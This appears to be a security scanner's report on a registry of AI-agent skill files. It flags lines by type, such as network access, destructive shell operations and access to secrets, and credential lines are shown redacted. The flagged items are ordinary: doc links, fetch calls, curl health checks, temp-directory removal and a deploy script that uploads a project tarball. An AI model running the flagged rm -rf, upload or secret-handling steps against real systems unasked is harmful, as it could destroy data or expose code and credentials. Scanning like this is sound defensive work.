    Fetch [Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) for current dependencies and configuration, then use the [Workflow test APIs](https://developers.cloudflare.com/worker

packages/autoskills/skills-registry/cloudflare/references/zaraz/README.md

  • Network accessline 105
    - [Zaraz Docs](https://developers.cloudflare.com/zaraz/index.md)
  • Network accessline 106
    - [Web API](https://developers.cloudflare.com/zaraz/web-api/index.md)
  • Network accessline 107
    - [Managed Components](https://developers.cloudflare.com/zaraz/advanced/load-custom-managed-component/index.md)

packages/autoskills/skills-registry/cloudflare/references/zaraz/patterns.md

  • Network accessline 46
    export default {   async fetch(request, env) {
  • Network accessline 47
    async fetch(request, env) {

packages/autoskills/skills-registry/composition-patterns/AGENTS.md

  • Network accessline 944
    1. [https://react.dev](https://react.dev)
  • Network accessline 945
    2. [https://react.dev/learn/passing-data-deeply-with-context](https://react.dev/learn/passing-data-deeply-with-context)
  • Network accessline 946
    3. [https://react.dev/reference/react/use](https://react.dev/reference/react/use)

packages/autoskills/skills-registry/composition-patterns/metadata.json

  • Network accessline 5
    "abstract": "Composition patterns for building flexible, maintainable React components. Avoid boolean prop proliferation by using compound components, lifting state, and composing internals. These patterns make codebases easier for both hum
  • Network accessline 6
    "references": [     "https://react.dev",     "https://react.dev/learn/passing-data-deeply-with-context",
  • Network accessline 7
    "https://react.dev",
  • Network accessline 8
    "https://react.dev/learn/passing-data-deeply-with-context",
  • Network accessline 9
    "https://react.dev/reference/react/use"

packages/autoskills/skills-registry/composition-patterns/rules/_template.md

  • Network accessline 24
    Reference: [Link](https://example.com)

packages/autoskills/skills-registry/containerize-aspnetcore/SKILL.md

  • Network accessline 44
    3. Application URL configuration:    - `[Specify ASPNETCORE_URLS, or default to "http://+:8080"]`
  • Network accessline 45
    - `[Specify ASPNETCORE_URLS, or default to "http://+:8080"]`
  • Network accessline 118
    - If the user does not request specific base images in the containerization settings, then the base images MUST be valid mcr.microsoft.com/dotnet images with a tag as shown in the example Dockerfile, below, or in documentation    - Official
  • Network accessline 119
    - Official Microsoft .NET images for build and runtime stages:       - SDK image tags (for build stage): https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md       - ASP.NET Core runtime image tags: https://github.com/dotnet/dotn
  • Network accessline 120
    - SDK image tags (for build stage): https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md
  • Network accessline 121
    - ASP.NET Core runtime image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.aspnet.md
  • Network accessline 122
    - .NET runtime image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.runtime.md
  • Network accessline 162
    7. Configure health checks if specified in the containerization settings:    - Add HEALTHCHECK instruction to Dockerfile if health check endpoint is provided    - Use curl or wget to check the health endpoint
  • Network accessline 163
    - Add HEALTHCHECK instruction to Dockerfile if health check endpoint is provided    - Use curl or wget to check the health endpoint 8. Mark tasks as completed: [ ] → [✓]
  • Network accessline 164
    - Use curl or wget to check the health endpoint
  • Network accessline 281
    # Install system packages if needed (uncomment and modify as needed) # RUN apt-get update && apt-get install -y \ #     curl \
  • Dangerous shell operationline 282
    # RUN apt-get update && apt-get install -y  #     curl  #     wget  #     ca-certificates  #     libgdiplus  #     && rm -rf /var/lib/apt/lists/*
  • Network accessline 282
    # RUN apt-get update && apt-get install -y  #     curl
  • Network accessline 283
    #     curl \
  • Network accessline 284
    #     wget \
  • Dangerous shell operationline 287
    #     && rm -rf /var/lib/apt/lists/*
  • Network accessline 302
    # Set environment variables ENV ASPNETCORE_ENVIRONMENT=Production ENV ASPNETCORE_URLS=http://+:8080
  • Network accessline 304
    ENV ASPNETCORE_URLS=http://+:8080
  • Network accessline 318
    # Install curl for health checks if not already present
  • Dangerous shell operationline 319
    RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*
  • Network accessline 319
    RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*
  • Network accessline 321
    # Configure health check HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \     CMD curl -f http://localhost:8080/health || exit 1
  • Network accessline 322
    HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3      CMD curl -f http://localhost:8080/health || exit 1
  • Network accessline 323
    CMD curl -f http://localhost:8080/health || exit 1
  • Network accessline 357
    FROM mcr.microsoft.com/dotnet/aspnet:8.0-alpine AS final # Install packages using apk RUN apk update && apk add --no-cache curl ca-certificates
  • Network accessline 359
    RUN apk update && apk add --no-cache curl ca-certificates
  • Network accessline 374
    FROM mcr.microsoft.com/dotnet/aspnet:8.0-azurelinux3.0 AS final # Install packages using tdnf RUN tdnf update -y && tdnf install -y curl ca-certificates && tdnf clean all
  • Network accessline 376
    RUN tdnf update -y && tdnf install -y curl ca-certificates && tdnf clean all

packages/autoskills/skills-registry/core-data-expert/references/batch-operations.md

  • Network accessline 124
    // 2. Fetch and set relationships let fetchRequest = Article.fetchRequest() let articles = try context.fetch(fetchRequest)
  • Network accessline 125
    let fetchRequest = Article.fetchRequest() let articles = try context.fetch(fetchRequest) for article in articles {
  • Network accessline 126
    let articles = try context.fetch(fetchRequest)
  • Network accessline 527
    // Verify     let fetchRequest = Article.fetchRequest()     let articles = try context.fetch(fetchRequest)
  • Network accessline 528
    let fetchRequest = Article.fetchRequest()     let articles = try context.fetch(fetchRequest)     XCTAssertEqual(articles.count, 10)
  • Network accessline 529
    let articles = try context.fetch(fetchRequest)

packages/autoskills/skills-registry/core-data-expert/references/cloudkit-integration.md

  • Network accessline 195
    1. Download from [Apple Developer Portal](https://developer.apple.com/bug-reporting/profiles-and-logs/)

packages/autoskills/skills-registry/core-data-expert/references/concurrency.md

  • Network accessline 190
    try store.read { context in         let request = Article.fetchRequest()         return try context.fetch(request)
  • Network accessline 191
    let request = Article.fetchRequest()         return try context.fetch(request)     }
  • Network accessline 192
    return try context.fetch(request)
  • Network accessline 198
    try await store.performInBackground { context in         let request = Article.fetchRequest()         let articles = try context.fetch(request)
  • Network accessline 199
    let request = Article.fetchRequest()         let articles = try context.fetch(request)         articles.forEach { context.delete($0) }
  • Network accessline 200
    let articles = try context.fetch(request)
  • Network accessline 261
    using request: NSFetchRequest<T>     ) throws {         let objects = try context.fetch(request)
  • Network accessline 262
    ) throws {         let objects = try context.fetch(request)         objects.forEach { context.delete($0) }
  • Network accessline 263
    let objects = try context.fetch(request)
  • Network accessline 315
    func fetchArticles() throws -> [Article] {     let request = Article.fetchRequest()     return try viewContext.fetch(request)
  • Network accessline 316
    let request = Article.fetchRequest()     return try viewContext.fetch(request) }
  • Network accessline 317
    return try viewContext.fetch(request)
  • Network accessline 492
    func background() async {     let articles = viewContext.fetch(request) // ❌ Not on main thread
  • Network accessline 493
    let articles = viewContext.fetch(request) // ❌ Not on main thread
  • Network accessline 520
    For Core Data best practices, migration strategies, and advanced patterns: - [Core Data Best Practices Repository](https://github.com/avanderlee/CoreDataBestPractices)
  • Network accessline 521
    - [Core Data Best Practices Repository](https://github.com/avanderlee/CoreDataBestPractices)
  • Network accessline 522
    - [Swift Concurrency Course](https://www.swiftconcurrencycourse.com)

packages/autoskills/skills-registry/core-data-expert/references/fetch-requests.md

  • Network accessline 8
    let fetchRequest: NSFetchRequest<Article> = Article.fetchRequest() let articles = try context.fetch(fetchRequest)
  • Network accessline 9
    let articles = try context.fetch(fetchRequest)
  • Network accessline 87
    let objectIDs = try context.fetch(fetchRequest) as! [NSManagedObjectID]
  • Network accessline 378
    let results = try context.fetch(fetchRequest) as! [[String: Any]]
  • Network accessline 408
    let results = try context.fetch(fetchRequest) as! [[String: Any]]
  • Network accessline 437
    let results = try context.fetch(fetchRequest) as! [[String: Any]]
  • Network accessline 526
    if let existing = try? context.fetch(fetchRequest).first {
  • Network accessline 555
    // Bad: Fetches all properties, all objects let articles = try context.fetch(Article.fetchRequest())
  • Network accessline 556
    let articles = try context.fetch(Article.fetchRequest())
  • Network accessline 580
    let fetchRequest = Article.fetchRequest() fetchRequest.relationshipKeyPathsForPrefetching = ["category"] let articles = try context.fetch(fetchRequest)
  • Network accessline 582
    let articles = try context.fetch(fetchRequest)
  • Network accessline 594
    let fetchRequest = Article.fetchRequest()     fetchRequest.predicate = NSPredicate(format: "name == %@", name)     let articles = try? context.fetch(fetchRequest)
  • Network accessline 595
    fetchRequest.predicate = NSPredicate(format: "name == %@", name)     let articles = try? context.fetch(fetchRequest) }
  • Network accessline 596
    let articles = try? context.fetch(fetchRequest)
  • Network accessline 604
    let fetchRequest = Article.fetchRequest() fetchRequest.predicate = NSPredicate(format: "name IN %@", names) let articles = try context.fetch(fetchRequest)
  • Network accessline 606
    let articles = try context.fetch(fetchRequest)
  • Network accessline 626
    let startTime = CFAbsoluteTimeGetCurrent() let articles = try context.fetch(fetchRequest)
  • Network accessline 627
    let articles = try context.fetch(fetchRequest)

packages/autoskills/skills-registry/core-data-expert/references/migration.md

  • Network accessline 374
    let fetchRequest = NSFetchRequest<NSManagedObject>(entityName: "Article")     let results = try newContext.fetch(fetchRequest)
  • Network accessline 375
    let results = try newContext.fetch(fetchRequest)

packages/autoskills/skills-registry/core-data-expert/references/performance.md

  • Network accessline 55
    // Fetches articles let articles = try context.fetch(Article.fetchRequest())
  • Network accessline 56
    let articles = try context.fetch(Article.fetchRequest())
  • Network accessline 66
    let fetchRequest = Article.fetchRequest() fetchRequest.relationshipKeyPathsForPrefetching = ["category"] let articles = try context.fetch(fetchRequest)
  • Network accessline 68
    let articles = try context.fetch(fetchRequest)
  • Network accessline 80
    // Fetches all properties of all objects let articles = try context.fetch(Article.fetchRequest())
  • Network accessline 81
    let articles = try context.fetch(Article.fetchRequest())
  • Network accessline 95
    // Loads 10,000 objects into memory let fetchRequest = Article.fetchRequest() let articles = try context.fetch(fetchRequest)
  • Network accessline 97
    let articles = try context.fetch(fetchRequest)

packages/autoskills/skills-registry/core-data-expert/references/persistent-history.md

  • Network accessline 115
    func fetch() throws -> [NSPersistentHistoryTransaction] {
  • Network accessline 170
    let transactions = try fetcher.fetch()
  • Network accessline 533
    // Merge multiple transactions at once let transactions = try fetcher.fetch()
  • Network accessline 534
    let transactions = try fetcher.fetch()

packages/autoskills/skills-registry/core-data-expert/references/saving.md

  • Network accessline 503
    // Verify saved     let fetchRequest = Article.fetchRequest()     let results = try context.fetch(fetchRequest)
  • Network accessline 504
    let fetchRequest = Article.fetchRequest()     let results = try context.fetch(fetchRequest)     XCTAssertEqual(results.count, 1)
  • Network accessline 505
    let results = try context.fetch(fetchRequest)

packages/autoskills/skills-registry/core-data-expert/references/testing.md

  • Network accessline 97
    let fetchRequest = Article.fetchRequest()     let results = try context.fetch(fetchRequest)
  • Network accessline 98
    let results = try context.fetch(fetchRequest)
  • Network accessline 117
    let results = try context.fetch(fetchRequest)
  • Network accessline 137
    // Verify persistence     let fetchRequest = Article.fetchRequest()     let results = try context.fetch(fetchRequest)
  • Network accessline 139
    let results = try context.fetch(fetchRequest)

packages/autoskills/skills-registry/core-data-expert/references/threading.md

  • Network accessline 184
    backgroundContext.perform {         let fetchRequest = Article.fetchRequest()         guard let articles = try? backgroundContext.fetch(fetchRequest) else {
  • Network accessline 185
    let fetchRequest = Article.fetchRequest()         guard let articles = try? backgroundContext.fetch(fetchRequest) else {             return
  • Network accessline 186
    guard let articles = try? backgroundContext.fetch(fetchRequest) else {
  • Network accessline 369
    return try await context.perform {         let fetchRequest = Article.fetchRequest()         return try context.fetch(fetchRequest)
  • Network accessline 370
    let fetchRequest = Article.fetchRequest()         return try context.fetch(fetchRequest)     }
  • Network accessline 371
    return try context.fetch(fetchRequest)
  • Network accessline 497
    backgroundContext.perform {     let articles = try? backgroundContext.fetch(Article.fetchRequest())
  • Network accessline 498
    let articles = try? backgroundContext.fetch(Article.fetchRequest())
  • Network accessline 533
    // Update UI on main thread backgroundContext.perform {     let articles = try? backgroundContext.fetch(Article.fetchRequest())
  • Network accessline 534
    backgroundContext.perform {     let articles = try? backgroundContext.fetch(Article.fetchRequest())     let objectIDs = articles?.map { $0.objectID } ?? []
  • Network accessline 535
    let articles = try? backgroundContext.fetch(Article.fetchRequest())

packages/autoskills/skills-registry/csharp-mstest/SKILL.md

  • Network accessline 283
    The `TestContext` class provides test run information, cancellation support, and output methods. See [TestContext documentation](https://learn.microsoft.com/dotnet/core/testing/unit-testing-mstest-writing-tests-testcontext) for complete ref
  • Network accessline 284
    See [TestContext documentation](https://learn.microsoft.com/dotnet/core/testing/unit-testing-mstest-writing-tests-testcontext) for complete reference.
  • Network accessline 419
    // GitHub issues (MSTest 3.8+) [TestMethod] [GitHubWorkItem("https://github.com/owner/repo/issues/42")]
  • Network accessline 420
    [TestMethod] [GitHubWorkItem("https://github.com/owner/repo/issues/42")] public void BugFix_Issue42_IsResolved() { }
  • Network accessline 421
    [GitHubWorkItem("https://github.com/owner/repo/issues/42")]

packages/autoskills/skills-registry/dart-best-practices/SKILL.md

  • Network accessline 94
    [dart-modern-features]:   https://github.com/kevmoo/dash_skills/blob/main/skills/dart-modern-features/SKILL.md
  • Network accessline 95
    https://github.com/kevmoo/dash_skills/blob/main/skills/dart-modern-features/SKILL.md

packages/autoskills/skills-registry/deploy-to-vercel/SKILL.md

  • Network accessline 259
    Preview URL: https://my-app-abc123.vercel.app
  • Network accessline 260
    Claim URL:   https://vercel.com/claim-deployment?code=...
  • Network accessline 279
    1. Go to https://claude.ai/settings/capabilities

packages/autoskills/skills-registry/deploy-to-vercel/resources/deploy-codex.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 9
    DEPLOY_ENDPOINT="https://codex-deploy-skills.vercel.sh/api/deploy"
  • Dangerous shell operationline 175
    rm -rf "$TEMP_DIR"
  • Access to secretsline 201
    [Credential-related source omitted]
  • Access to secretsline 204
    [Credential-related source omitted]
  • Network accessline 238
    echo "Deploying..." >&2 RESPONSE=$(curl -s -X POST "$DEPLOY_ENDPOINT" -F "file=@$TARBALL" -F "framework=$FRAMEWORK")
  • Network accessline 239
    RESPONSE=$(curl -s -X POST "$DEPLOY_ENDPOINT" -F "file=@$TARBALL" -F "framework=$FRAMEWORK")
  • Network accessline 265
    while [ $ATTEMPT -lt $MAX_ATTEMPTS ]; do     HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$PREVIEW_URL")
  • Network accessline 266
    HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$PREVIEW_URL")

packages/autoskills/skills-registry/deploy-to-vercel/resources/deploy.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 9
    DEPLOY_ENDPOINT="https://claude-skills-deploy.vercel.com/api/deploy"
  • Dangerous shell operationline 175
    rm -rf "$TEMP_DIR"
  • Access to secretsline 201
    [Credential-related source omitted]
  • Access to secretsline 204
    [Credential-related source omitted]
  • Network accessline 238
    echo "Deploying..." >&2 RESPONSE=$(curl -s -X POST "$DEPLOY_ENDPOINT" -F "file=@$TARBALL" -F "framework=$FRAMEWORK")
  • Network accessline 239
    RESPONSE=$(curl -s -X POST "$DEPLOY_ENDPOINT" -F "file=@$TARBALL" -F "framework=$FRAMEWORK")
  • Network accessline 265
    while [ $ATTEMPT -lt $MAX_ATTEMPTS ]; do     HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$PREVIEW_URL")
  • Network accessline 266
    HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$PREVIEW_URL")

packages/autoskills/skills-registry/design-mobile-apps/SKILL.md

  • Access to secretsline 5
    [Credential-related source omitted]
  • Network accessline 10
    [![Design mobile apps in minutes](https://raw.githubusercontent.com/sleekdotdesign/agent-skills/main/assets/hero.png)](https://sleek.design)
  • Network accessline 14
    [sleek.design](https://sleek.design) provides a REST API at `/api/v1/*` to create projects, design screens from a brief, and fetch their HTML and renders.
  • Network accessline 16
    **Base URL**: `https://sleek.design`
  • Access to secretsline 17
    [Credential-related source omitted]
  • Network accessline 20
    **Envelope**: check HTTP status first. Successful JSON wraps its payload in `data`; lists also include sibling `pagination`. Errors use top-level `code`, `status` and `message`, with optional `data.url`. Successful screenshots and share car
  • Network accessline 21
    **Ids**: opaque 11-character tokens like `V1StGXR8Z5j`, with no type prefix. Nothing about an id says whether it names a project, screen, component, version or theme, so track each one by the response field it arrived in. **Parsing response
  • Network accessline 22
    **Parsing responses**: write the body to a file (`curl -o run.json`) and parse the file. Piping JSON through `echo` corrupts it: zsh expands the escaped `\n` inside string values into real newlines, which makes the body invalid JSON.
  • Network accessline 23
    **API docs**: OpenAPI spec at `https://sleek.design/api/v1/spec.json`; browsable docs at `https://sleek.design/api/v1/docs`. Fetch the spec for any contract detail not covered here.
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 48
    1. `POST https://sleek.design/api/v1/device/start` (no auth) with body `{"source": "your-tool-slug"}`. The response contains a `verificationUrl`, a human-checkable `userCode`, a secret `deviceCode`, and a poll `interval` in seconds.
  • Network accessline 50
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 52
    Fallback: send the user to **https://sleek.design/agents/setup**, which handles sign-in, plan upgrade, and key creation in one place, and ask them to paste the key back to you. Keys can also be managed at **https://sleek.design/dashboard/ap
  • Network accessline 54
    **Plans**: free accounts can try the API with their one-time trial credits (about one design run), so a new user can see their first design before any payment decision. Sustained use requires the Pro plan or higher. This file carries no fig
  • Network accessline 91
    "status": 403,   "message": "...",   "data": { "url": "https://sleek.design/..." }
  • Network accessline 92
    "message": "...",   "data": { "url": "https://sleek.design/..." } }
  • Network accessline 93
    "data": { "url": "https://sleek.design/..." }

packages/autoskills/skills-registry/design-mobile-apps/designing.md

  • Network accessline 25
    **Watch it live**: runs render in the Sleek editor in real time. After sending the first message to a project, tell the user they can watch their screens being designed live in Sleek, and share the editor link: `https://sleek.design/project

packages/autoskills/skills-registry/design-mobile-apps/endpoints.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 62
    [Credential-related source omitted]
  • Access to secretsline 99
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Network accessline 121
    "id": "3fTkYw6RmQv",       "name": "Ember Fitness",       "previewImageUrls": ["https://.../screenshot.png"]
  • Network accessline 122
    "name": "Ember Fitness",       "previewImageUrls": ["https://.../screenshot.png"]     }
  • Network accessline 123
    "previewImageUrls": ["https://.../screenshot.png"]
  • Access to secretsline 138
    [Credential-related source omitted]
  • Network accessline 143
    "message": { "text": "Add a pricing section with three tiers" },   "source": "claude-code",   "imageUrls": ["https://example.com/ref.png"],
  • Network accessline 144
    "source": "claude-code",   "imageUrls": ["https://example.com/ref.png"],   "target": { "screenId": "7hSvA2kLpEr" },
  • Network accessline 145
    "imageUrls": ["https://example.com/ref.png"],
  • Access to secretsline 214
    [Credential-related source omitted]
  • Access to secretsline 240
    [Credential-related source omitted]
  • Access to secretsline 253
    [Credential-related source omitted]
  • Access to secretsline 302
    [Credential-related source omitted]
  • Network accessline 344
    "deviceCode": "...",     "userCode": "ABCD-1234",     "verificationUrl": "https://sleek.design/...",
  • Network accessline 345
    "userCode": "ABCD-1234",     "verificationUrl": "https://sleek.design/...",     "expiresIn": 900,
  • Network accessline 346
    "verificationUrl": "https://sleek.design/...",

packages/autoskills/skills-registry/design-mobile-apps/implementing.md

  • Network accessline 68
    Sleek uses [Iconify](https://iconify.design) icons in the format `prefix:name` (e.g. `ph:heart-fill`, `solar:heart-bold`, `lucide:settings`). Sleek's design prompt steers toward four sets — **Phosphor** (`ph:`), **Solar** (`solar:`), **Ming
  • Network accessline 78
    GET https://api.iconify.design/{prefix}/{name}.svg
  • Network accessline 81
    Example: `https://api.iconify.design/solar/heart-bold.svg`
  • Network accessline 134
    The mockup has no notch, status bar or home indicator: it renders edge to edge inside a fixed frame. On a device, an unguarded screen draws its header under the status bar and its bottom bar under the home indicator or the Android navigatio

packages/autoskills/skills-registry/design-mobile-apps/styling/nativewind.md

  • Network accessline 14
    Read the resolved version from the lockfile and check registry tags when installing; choose prereleases deliberately. For v5, use the matched Nativewind/`react-native-css` pair from the [current installation guide](https://www.nativewind.de
  • Network accessline 36
    **v4** — the Babel preset, the `withNativeWind` Metro wrapper with its CSS `input`, `tailwind.config.js`, and the CSS entry imported in the root layout. Use the [v4 installation guide](https://www.nativewind.dev/docs/getting-started/install
  • Network accessline 51
    Sleek's default web `rem` is 16px; Nativewind's native default is 14. Check the HTML's root size and align it before copying classes, or spacing and typography shrink on the device despite matching on web. V4 accepts `inlineRem: 16` in its 
  • Network accessline 57
    Before passing `className` to a third-party component such as `LinearGradient`, check whether it forwards classes to a supported primitive or needs an explicit mapping. V4 uses [cssInterop](https://www.nativewind.dev/docs/api/css-interop) w

packages/autoskills/skills-registry/design-mobile-apps/styling/uniwind.md

  • Network accessline 27
    Port the project's `:root` tokens into `--color-*` names in whatever shape that file actually uses. Uniwind documents first-class OKLCH support, so the `oklch(...)` values go across as they are. Uniwind publishes an agent-readable digest at

packages/autoskills/skills-registry/django-expert/references/performance-optimization.md

  • Network accessline 311
    AWS_S3_CUSTOM_DOMAIN = 'd123456.cloudfront.net' STATIC_URL = f'https://{AWS_S3_CUSTOM_DOMAIN}/static/'
  • Network accessline 312
    STATIC_URL = f'https://{AWS_S3_CUSTOM_DOMAIN}/static/'
  • Access to secretsline 326
    [Credential-related source omitted]

packages/autoskills/skills-registry/django-expert/references/production-deployment.md

  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 146
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Network accessline 249
    location / {         proxy_pass http://127.0.0.1:8000;
  • Network accessline 250
    proxy_pass http://127.0.0.1:8000;
  • Network accessline 272
    # ✅ GOOD: Use CDN for static files STATIC_URL = 'https://cdn.example.com/static/'
  • Network accessline 273
    STATIC_URL = 'https://cdn.example.com/static/'
  • Access to secretsline 347
    [Credential-related source omitted]
  • Access to secretsline 350
    [Credential-related source omitted]
  • Access to secretsline 416
    [Credential-related source omitted]
  • Access to secretsline 417
    [Credential-related source omitted]
  • Access to secretsline 419
    [Credential-related source omitted]
  • Access to secretsline 420
    [Credential-related source omitted]
  • Access to secretsline 517
    [Credential-related source omitted]
  • Access to secretsline 521
    [Credential-related source omitted]
  • Network accessline 559
    CSP_DEFAULT_SRC = ("'none'",) CSP_SCRIPT_SRC = ("'self'", "https://cdn.example.com")
  • Network accessline 560
    CSP_SCRIPT_SRC = ("'self'", "https://cdn.example.com")
  • Network accessline 561
    CSP_STYLE_SRC = ("'self'",) CSP_IMG_SRC = ("'self'", "https://cdn.example.com") CSP_FONT_SRC = ("'self'", "https://fonts.gstatic.com")
  • Network accessline 562
    CSP_IMG_SRC = ("'self'", "https://cdn.example.com")
  • Network accessline 563
    CSP_FONT_SRC = ("'self'", "https://fonts.gstatic.com")
  • Access to secretsline 647
    [Credential-related source omitted]
  • Dangerous shell operationline 810
    find $BACKUP_DIR -type f -mtime +7 -delete

packages/autoskills/skills-registry/django-expert/references/security-checklist.md

  • Access to secretsline 194
    [Credential-related source omitted]
  • Access to secretsline 214
    [Credential-related source omitted]
  • Access to secretsline 215
    [Credential-related source omitted]
  • Access to secretsline 216
    [Credential-related source omitted]
  • Access to secretsline 222
    [Credential-related source omitted]
  • Access to secretsline 223
    [Credential-related source omitted]
  • Access to secretsline 224
    [Credential-related source omitted]
  • Access to secretsline 225
    [Credential-related source omitted]
  • Access to secretsline 226
    [Credential-related source omitted]
  • Dangerous shell operationline 295
    **Rule**: Never use `pickle` or `eval()` on user input.

packages/autoskills/skills-registry/django-patterns/SKILL.md

  • Access to secretsline 62
    [Credential-related source omitted]

packages/autoskills/skills-registry/django-security/SKILL.md

  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 341
    CSRF_COOKIE_HTTPONLY = True  # Prevent JavaScript access CSRF_COOKIE_SAMESITE = 'Lax'  # Prevent CSRF in some cases CSRF_TRUSTED_ORIGINS = ['https://example.com']  # Trusted domains
  • Network accessline 343
    CSRF_TRUSTED_ORIGINS = ['https://example.com']  # Trusted domains
  • Network accessline 368
    fetch('/api/endpoint/', {
  • Network accessline 475
    # Use a separate domain for media in production MEDIA_DOMAIN = 'https://media.example.com'
  • Network accessline 476
    MEDIA_DOMAIN = 'https://media.example.com'
  • Network accessline 543
    # settings.py CSP_DEFAULT_SRC = "'self'" CSP_SCRIPT_SRC = "'self' https://cdn.example.com"
  • Network accessline 544
    CSP_DEFAULT_SRC = "'self'" CSP_SCRIPT_SRC = "'self' https://cdn.example.com" CSP_STYLE_SRC = "'self' 'unsafe-inline'"
  • Network accessline 545
    CSP_SCRIPT_SRC = "'self' https://cdn.example.com"
  • Network accessline 546
    CSP_STYLE_SRC = "'self' 'unsafe-inline'" CSP_IMG_SRC = "'self' data: https:" CSP_CONNECT_SRC = "'self' https://api.example.com"
  • Network accessline 548
    CSP_CONNECT_SRC = "'self' https://api.example.com"
  • Access to secretsline 580
    [Credential-related source omitted]
  • Access to secretsline 583
    [Credential-related source omitted]
  • Access to secretsline 587
    [Credential-related source omitted]
  • Access to secretsline 633
    [Credential-related source omitted]

packages/autoskills/skills-registry/drizzle/metadata.json

  • Network accessline 30
    "updated": "2025-11-30",   "source_path": "toolchains/typescript/data/drizzle/SKILL.md",   "repository": "https://github.com/bobmatnyc/claude-mpm-skills"
  • Network accessline 31
    "source_path": "toolchains/typescript/data/drizzle/SKILL.md",   "repository": "https://github.com/bobmatnyc/claude-mpm-skills" }
  • Network accessline 32
    "repository": "https://github.com/bobmatnyc/claude-mpm-skills"

packages/autoskills/skills-registry/drizzle/references/performance.md

  • Network accessline 171
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 172
    async fetch(request: Request, env: Env): Promise<Response> {

packages/autoskills/skills-registry/drizzle/references/vs-prisma.md

  • Dangerous shell operationline 430
    rm -rf prisma/
  • Network accessline 475
    ### Drizzle - Docs: [orm.drizzle.team](https://orm.drizzle.team)
  • Network accessline 476
    - Docs: [orm.drizzle.team](https://orm.drizzle.team)
  • Network accessline 477
    - Discord: [drizzle.team/discord](https://drizzle.team/discord)
  • Network accessline 478
    - GitHub: [drizzle-team/drizzle-orm](https://github.com/drizzle-team/drizzle-orm)
  • Network accessline 480
    ### Prisma - Docs: [prisma.io/docs](https://prisma.io/docs)
  • Network accessline 481
    - Docs: [prisma.io/docs](https://prisma.io/docs)
  • Network accessline 482
    - Discord: [pris.ly/discord](https://pris.ly/discord)
  • Network accessline 483
    - GitHub: [prisma/prisma](https://github.com/prisma/prisma)

packages/autoskills/skills-registry/durable-objects/SKILL.md

  • Network accessline 14
    | Resource | URL | |----------|-----| | Docs | https://developers.cloudflare.com/durable-objects/index.md |
  • Network accessline 15
    |----------|-----| | Docs | https://developers.cloudflare.com/durable-objects/index.md | | API Reference | https://developers.cloudflare.com/durable-objects/api/index.md |
  • Network accessline 16
    | Docs | https://developers.cloudflare.com/durable-objects/index.md |
  • Network accessline 17
    | API Reference | https://developers.cloudflare.com/durable-objects/api/index.md |
  • Network accessline 18
    | Best Practices | https://developers.cloudflare.com/durable-objects/best-practices/index.md |
  • Network accessline 19
    | Examples | https://developers.cloudflare.com/durable-objects/examples/index.md |
  • Network accessline 20
    | Roles and permissions | https://developers.cloudflare.com/workers/authorization/durable-objects/index.md |
  • Access to secretsline 82
    [Credential-related source omitted]
  • Network accessline 104
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 105
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 117
    3. **Use SQLite storage** - Configure `new_sqlite_classes` in migrations 4. **Initialize in constructor** - Use `blockConcurrencyWhile()` for schema setup only 5. **Use RPC methods** - Not fetch() handler (compatibility date >= 2024-04-03)
  • Network accessline 118
    4. **Initialize in constructor** - Use `blockConcurrencyWhile()` for schema setup only 5. **Use RPC methods** - Not fetch() handler (compatibility date >= 2024-04-03) 6. **Persist first, cache second** - Always write to storage before updat
  • Network accessline 119
    5. **Use RPC methods** - Not fetch() handler (compatibility date >= 2024-04-03)
  • Network accessline 125
    Durable Objects do not have separate roles or permissions; access follows the Worker that implements them. Retrieve the current [Durable Objects authorization guidance](https://developers.cloudflare.com/workers/authorization/durable-objects
  • Network accessline 131
    - Storing critical state only in memory (lost on eviction/crash) - Using `await` between related storage writes (breaks atomicity) - Holding `blockConcurrencyWhile()` across `fetch()` or external I/O
  • Network accessline 133
    - Holding `blockConcurrencyWhile()` across `fetch()` or external I/O

packages/autoskills/skills-registry/durable-objects/references/rules.md

  • Network accessline 7
    | Task | Documentation | |------|---------------| | Choose object boundaries, deterministic routing, parent-child relationships, or initialization | [Rules of Durable Objects](https://developers.cloudflare.com/durable-objects/best-practices
  • Network accessline 8
    |------|---------------| | Choose object boundaries, deterministic routing, parent-child relationships, or initialization | [Rules of Durable Objects](https://developers.cloudflare.com/durable-objects/best-practices/rules-of-durable-objects
  • Network accessline 9
    | Choose object boundaries, deterministic routing, parent-child relationships, or initialization | [Rules of Durable Objects](https://developers.cloudflare.com/durable-objects/best-practices/rules-of-durable-objects/index.md) |
  • Network accessline 10
    | Choose SQLite or maintain an existing KV-backed class | [SQLite storage API](https://developers.cloudflare.com/durable-objects/api/sqlite-storage-api/index.md); [Legacy KV storage API](https://developers.cloudflare.com/durable-objects/api
  • Network accessline 11
